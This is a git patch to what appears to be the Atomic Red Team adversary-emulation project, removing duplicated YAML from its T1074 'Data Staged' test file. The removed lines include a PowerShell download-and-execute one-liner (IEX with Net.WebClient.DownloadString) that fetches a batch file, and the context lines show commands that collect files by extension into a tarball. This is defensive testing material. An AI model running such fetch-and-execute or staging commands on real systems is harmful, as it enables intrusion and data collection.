From ceb9e59afe37c3b41cd0798e8098ea755c94c396 Mon Sep 17 00:00:00 2001
From: nicholasaleks <nicholas.aleks@gmail.com>
Date: Thu, 12 Jul 2018 00:25:34 -0400
Subject: [PATCH] T1074/collect-n-compress-file-types: Fixed yaml errors in
 T1074

---
 atomics/T1074/T1074.yaml | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/atomics/T1074/T1074.yaml b/atomics/T1074/T1074.yaml
index a83ae60e..6cf634de 100644
--- a/atomics/T1074/T1074.yaml
+++ b/atomics/T1074/T1074.yaml
@@ -2,15 +2,6 @@
 attack_technique: T1074
 display_name: Data Staged
 
-atomic_tests:
-- name: Stage data from Discovery.bat
-  description: |
-    Utilize powershell to download discovery.bat and save to a local file
-
-  supported_platforms:---
-attack_technique: T1074
-display_name: Data Staged
-
 atomic_tests:
 - name: Stage data from Discovery.bat
   description: |
@@ -104,10 +95,3 @@ atomic_tests:
       find {{ path }} -name '*{{ extension }}' -exec cp -prv '{}' '/tmp/staging' ';'
       tar -zcvf /tmp/staging.tar.gz /tmp/staging/
       rm -rf /tmp/staging
-
-    - windows
-
-  executor:
-    name: powershell
-    command: |
-      powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log